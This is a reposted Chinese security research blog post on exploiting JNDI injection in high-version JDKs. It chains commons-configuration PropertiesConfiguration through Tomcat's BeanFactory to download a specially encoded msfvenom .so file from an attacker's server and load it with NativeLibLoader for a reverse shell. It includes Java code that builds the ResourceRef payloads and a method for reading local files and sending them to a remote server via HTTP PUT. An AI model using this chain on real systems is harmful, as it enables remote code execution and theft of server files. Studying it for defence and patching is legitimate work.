探索高版本 JDK 下 JNDI 漏洞的利用方法:第二章

admin 2022年7月6日19:31:59评论10 views字数 4655阅读15分31秒阅读模式

0x00 背景

我在前段时间写过一篇《探索高版本 JDK 下 JNDI 漏洞的利用方法》,里面例举了几种可以用作 JNDI 漏洞在Tomcat7和非Tomcat时的利用方法。

其中提到NativeLibLoader能够实现 JNI 功能加载 so/dll/dylib 文件。

但有几个前提条件。

  • 用户可以用某种方式写入一个文件内容开头可控的二进制文件
  • 这个文件名必须是以 so/dll/dylib 结尾
  • 必须知道这个文件的绝对路径

这几个条件会使危害大打折扣,所以需要再找到一个写文件的工具类。

通常写文件的类只会通过一个方法去写入。如:FileUtils.writeStringToFile(file,content)

但写文件的工具类基本上都要传入至少两个参数,即文件名和文件内容,这样就不满足BeanFactory的条件了。

所以如果要写文件只能分两步走。

XXX.setContent("hello")
XXX.saveToFile("/tmp/a.so")

例如这样,但符合条件且常用的库很少。

或者换一种思路,把写文件换成文件下载。

好在我运气够好手工找到commons-configuration里面有一个。

0x01 初步分析

FileConfiguration实现了这个接口的都是可以写文件的。

HierarchicalINIConfiguration
INIConfiguration
MultiFileHierarchicalConfiguration
PatternSubtreeConfigurationWrapper
PropertiesConfiguration
XMLConfiguration
XMLPropertiesConfiguration
PropertyListConfiguration
XMLPropertyListConfiguration

这几个类都实现自FileConfiguration 其中部分类有无参构造,且父抽象类里都有load(String)save(String)方法。

从字面意思上就能看出来这是可以下载远程文件的。

先来看一下 load 和 save 方法是怎样处理的。

load(String)

image-20220318200220930.png

org.apache.commons.configuration.AbstractFileConfiguration#load(java.lang.String)第100行会根据fileName变量转成一个URL对象。

fileName 可以是文件路径也可以是一个 Java 支持协议的URL

e.g. fileName=/etc/passwd fileName=file:///etc/passwd fileName=http://b1ue.cn/1.txt

load(URL)

image-20220318201036314.png

这里调用了 getInputStream 去获取URL的输入流

getInputStream

image-20220318201226414.png

org.apache.commons.configuration.DefaultFileSystem#getInputStream(java.net.URL)

这里判断了文件如果不是目录类型就去获取输入流

load(InputStream,String)

image-20220318221333350.png

这里去调用了子类重写的 load(Reader) 方法

save

save 方法和 load的流程是一样的。

0x02 筛选目标

首先明确一下目标,我要写一个文件头可控的二进制文件到指定的文件路径中。

所以首先要看一下筛选出来的那几个类有没有能够控制文件开头的。

INIConfiguration

文件开头就输出了一个[,直接忽略。

HierarchicalINIConfiguration

同上,忽略。

XMLConfiguration / XMLPropertiesConfiguration / XMLPropertyListConfiguration

输出的都是XML格式,忽略。

PropertyListConfiguration

会输出{开头,忽略。

只有 PropertiesConfiguration 是可以控制文件开头的。

image-20220318230418981.png

0x03 Properties

跟进到org.apache.commons.configuration.PropertiesConfiguration.PropertiesWriter#writeProperty看一下是如何去写文件内容的。

image-20220318231558536.png

这里分别写入了 Key、分隔符、Value、换行。

要想控制文件的开头,就要能够完全控制 Key 。

image-20220318231809639.png

这里在写入Key的时候会把\f\t空格:=这几个字符前面都加上一个反斜杠\

Value 写入时则会用 escapeJava 进行一次 UNICODE 编码。

image-20220318232123727.png

所以写文件的主要希望都在 Key 上面。

这里搞清楚了 Key Value 是怎么写的了,还需要知道 Key Value 怎么填充。

image-20220318233526966.png

跟进PropertiesConfigurationLayout#load 可以看到它先把输入流转成了PropertiesReader

然后循环读取每一对Property并存储在集合等 save时使用。

nextProperty

跟进第 152 行PropertiesReader#nextProperty

image-20220318233824730.png

这里做了两件事,第一个是520行的读一行字符串,第二个是524行正则提取。

readProperty

image-20220318234042752.png

这里只有一点需要注意:第507行会 trim 处理字符串的空字符,会影响到程序的完整。

parseProperty

image-20220318234220741.png

这里用正则从读到的一行字符串里分别提取 “Key”、 “分隔符”、“Value” 并赋值。

image-20220318234334542.png

这里需要注意的是 group(1) 获取到的内容必须是 so 文件的内容。

initPropertyXXX

image-20220318235201618.png

这里分别给 Key 和 Value 赋值时进行了 Unicode 解码。

0x04 小结

把前面写的内容做一个阶段小结。

  • 我可以写一个多行的这样格式的文件 Key=Value 或者 Key:Value 或者 Key空格Value
  • Key在读取的时候会进行一次Unicode解码,写入的时候会在空格\f\t=: 前面插入一个\反斜杠
  • Value在读取的时候会进行一次Unicode解码,在写入的时候会进行Unicode编码(“空格” “=” “:”不会处理),它的用处不大,可以置空也可以写简单的数据

image-20220319000254858.png

image-20220319000251455.png

以上是文件经过 PropertiesConfiguration 处理的前后对比。

所以需要让 unicode 编码后的 so 文件写在key部分,然后Value置空,Key 后面写的分隔符和Value不能影响到 so 文件的正常运行。

0x05 构造so文件

正常来讲编译出来的 so 都有可能会带上\f\t:=空格这些字符,有些字符是可以替换的,有些则会影响到程序的正常运行。

一开始我以为 msfvenom 是可以用 -b 参数来避免出现这些字符的,但实际上并不能完全避开这些字符,不管怎么试都至少会有一个黑名单字符是删不掉也不能改的。

这里要感谢一下我滴两位大哥 @leommxj @swing帮忙才解决了问题,以及感谢“赛博回忆录”群友们的热心帮助(有兴趣的推荐加入这个知识星球学习)。

image-20220319003836537.png

用 msfvenom 生成出来的 elf-so 会有一个 \x0c\x0c=\f所以在 Key 部位写文件内容的时候会被处理,会破坏 so 的完整,此处也无法单独替换成别的字符。

image-20220319005731656.png

经过 @leommxj 师傅的帮助,最终在高亮色部位做修改后既不影响程序的正常运行,又做到了去除\f的效果。

按理说现在只需要对这个so文件全文进行UNICODE编码,然后在结尾加上 =|空格|:就可以构造出一个待下载的so文件了。

image-20220319010248958.png

我把 so 文件用StringEscapeUtils.escapeJava进行了UNICODE编码处理并在文件结尾加了一个=符号。

这样在读Property的时候 Key就是UNICODE解码后的 .so 文件内容,但在本地测试的时候发现它报了栈溢出,原因是默认的栈太小要匹配的文件内容太大,当我设置了JVM参数-Xss2m时才通过了正则校验。

image-20220319011122230.png

因为有太多的\\u0000字符串,我删到剩了 1598b 左右就没有再报栈溢出了。

目前我想到有这几个思路

  • 通过精简原文件再编码使其控制在1600左右的大小

  • 通过写入多行Key 来使其每一行的长度在编码后不超过1600,并且在插入=\n |空格\n|:\n后不影响程序的正常运行

第二种方式更容易解决一点。

image-20220319012409930.png

这个问题再一次在 @swing @leommxj 师傅的帮助下解决了。

E0h位置高亮处替换成\x3d\x0a即可。

image-20220319012716599.png

经过这段代码测试后没有再爆出栈溢出的问题。

image-20220319012848350.png

因为经过编码后的 so 文件分为了两行,每一行的字符都没有超过1600。

image-20220319013238483.png

对比一下修改后的 worked.so 文件和经过解码后的 decode.so 文件除了最后面插入的一个=\n以外没有其他变化。

0x06 写文件

首先准备好经过处理的 unicode.so 文件,开启一个 http 端口等待下载。

    private ResourceRef downloadFile(String src, String desc) {
        ResourceRef ref = new ResourceRef("org.apache.commons.configuration.PropertiesConfiguration", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "a=load,b=save"));
        ref.add(new StringRefAddr("a",src));
        ref.add(new StringRefAddr("b",desc));
        return ref;
    }

    private ResourceRef nativeLoad(String path){
        ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
        ref.add(new StringRefAddr("a", "/../../../../../../../../../../../../../../../../../.."+path));
        return ref;
    }

然后启动 LDAP 服务器准备返回这两个 ResourceRef 对象。

image-20220319014539213.png

分别让有 JNDI 漏洞的应用去触发下载文件和加载so文件。

最终成功触发 so 反弹shell的代码,文件写入+RCE告一段落。

0x07 文件读取

前面讲到由 load 和 save 方法组成了文件下载的功能。

其实也不止可以下载文件,还可以把本地文件发送到远程服务器。

image-20220319015140298.png

在 save 方法里它会有一个获取输出流的过程,当 save 方法传进来 url 获取的 file 对象是 null 的时候就会去发起一个 PUT HTTP 请求

image-20220319015400032.png

把 save 和 load 传入的参数调换一下这样就可以做到文件读取的效果了。

image-20220319015844395.png

还有一个需要注意的问题,java的file协议是支持读目录的,如果想要读取目录内容的话按照它 getInputStream 方法写的代码来看是无法直接读的,因为做了一个是否为目录的判断。

所以只要让 file = null 就可以了

image-20220319015917563.png

file 协议也不让用,可以用 netdoc 可以代替。

image-20220319021026431.png

我本地测试了一下可以用 INIConfiguration 来读取,读到的内容更全一点。

FROM:tttang . com

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月6日19:31:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   探索高版本 JDK 下 JNDI 漏洞的利用方法:第二章https://cn-sec.com/archives/1161528.html

发表评论

匿名网友 填写信息